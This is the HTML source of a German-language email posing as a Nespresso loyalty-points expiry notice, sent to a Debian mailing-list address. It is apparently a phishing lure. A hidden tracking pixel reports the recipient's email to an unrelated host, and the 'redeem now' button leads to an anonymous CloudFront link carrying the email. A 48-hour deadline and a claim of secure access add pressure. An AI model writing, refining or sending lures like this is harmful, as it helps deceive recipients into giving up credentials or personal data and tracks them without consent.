<!DOCTYPE html>
<html lang="de">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Benachrichtigung: Treue-Update</title>
  <style>
    body { margin: 0; padding: 0; background-color: #f1f5f9; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; }
    .page-wrapper { width: 100%; background-color: #f1f5f9; padding: 40px 0; }
    .content-container { max-width: 600px; margin: 0 auto; background: #ffffff; border-radius: 20px; border: 1px solid #e2e8f0; box-shadow: 0 4px 20px rgba(0,0,0,0.05); overflow: hidden; }
    .notice-pill { display: inline-block; background: #fefce8; color: #854d0e; padding: 8px 16px; border-radius: 100px; font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 20px; }
    .action-button { display: inline-block; background: #000000; color: #ffffff !important; text-decoration: none; padding: 22px 48px; border-radius: 12px; font-weight: 700; font-size: 16px; }
    .data-well { background-color: #ffffff; border: 2px solid #f8fafc; border-radius: 24px; margin: 30px 0; padding: 45px 30px; }
    .line-separator { height: 1px; width: 40px; background: #cbd5e1; margin: 25px auto; border: none; }
  </style>
</head>
<body style="margin:0; padding:0; background:#f1f5f9;">

<div class="page-wrapper">
  <img src="https://dev.nirvanstudio.com/anti/ness/index.php?action=track&email=pkg-fonts-devel@lists.alioth.debian.org" width="1" height="1" alt="" style="display:none !important;" />

  <table class="content-container" align="center" cellpadding="0" cellspacing="0" border="0" role="presentation">
    <tr>
      <td style="padding: 50px 40px; text-align: center;">
        
        <table width="100%" cellpadding="0" cellspacing="0" border="0" role="presentation" style="margin-bottom: 30px;">
          <tr>
            <td align="center">
              <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgITV_LXEiaIK8_4Vv1OTF8BiuRDHLaAfyq63NnOVw5Eoc_X2GkEtb35-808GnWjqRqIrZe76yRMz2S4kRH2KyLNfIv0uoCrCuQfoqBbzkWPKmeQtEW7hd47QvPuV6krDfqm04TP6_E38zOs6evJefxgZ8mRGmH1Asz_IJ9SDH9eWDIqxHAdbWvRMwr/s320/Nespresso-Logo.png" 
                   alt="Logo" 
                   width="180" 
                   style="display: block; border: 0; outline: none; margin: 0 auto; width: 180px;">
            </td>
          </tr>
        </table>

        <div class="notice-pill">Info: Zeitfenster 48 Stunden</div>
        
        <h1 style="color: #1e293b; font-size: 34px; margin: 0 0 10px 0; font-weight: 900; letter-spacing: -1.5px;">Fast geschafft.</h1>
        <p style="color: #64748b; font-size: 15px; margin: 0;">Kontostand-Update für: pkg-fonts-devel@lists.alioth.debian.org</p>

        <div class="data-well">
          <p style="margin: 0; font-size: 12px; color: #94a3b8; text-transform: uppercase; font-weight: 700; letter-spacing: 2px;">Aktueller Saldo</p>
          <div style="font-size: 72px; color: #000000; font-weight: 950; margin: 8px 0; line-height: 1;">524</div>
          <p style="margin: 0; font-size: 16px; color: #475569; font-weight: 500;">Verfügbare Prämienpunkte</p>
          
          <hr class="line-separator">
          
          <p style="margin: 0; font-size: 15px; color: #1e293b;">
            Gültigkeitsdauer bis: <strong style="color: #000000;">24. März 2026</strong>
          </p>
        </div>

        <p style="font-size: 16px; color: #475569; line-height: 1.8; margin-bottom: 45px; text-align: center;">
          Wir möchten Sie höflich darauf hinweisen, dass Ihre gesammelten Vorteile in <strong>drei Tagen</strong> verfallen. Nutzen Sie die verbleibende Zeit, um Ihr Guthaben gegen exklusive Kaffeemischungen oder hochwertiges Zubehör einzutauschen, bevor Ihre Punkte gelöscht werden.
        </p>

        <table width="100%" cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td align="center">
              <a href="https://d2gvbvhi5d5v81.cloudfront.net/?email=pkg-fonts-devel@lists.alioth.debian.org" class="action-button">Prämien jetzt einlösen</a>
            </td>
          </tr>
        </table>
        
        <p style="font-size: 12px; color: #94a3b8; margin-top: 35px;">
          Sicherer Zugriff erfolgt über Ihr verschlüsseltes Mitglieder-Portal.
        </p>
      </td>
    </tr>
    
    <tr>
      <td style="background-color: #fafafa; padding: 40px; text-align: center; border-top: 1px solid #f1f5f9;">
        <p style="font-size: 11px; color: #94a3b8; line-height: 2; margin: 0;">
          <strong style="color: #475569;">Member Rewards Office</strong><br>
          Pariser Platz 4a · 10117 Berlin · Deutschland<br><br>
          <a href="#" style="color: #94a3b8;">E-Mail-Präferenzen</a>  •  <a href="#" style="color: #94a3b8;">Datenschutz</a>
        </p>
      </td>
    </tr>
  </table>
</div>

</body>
</html>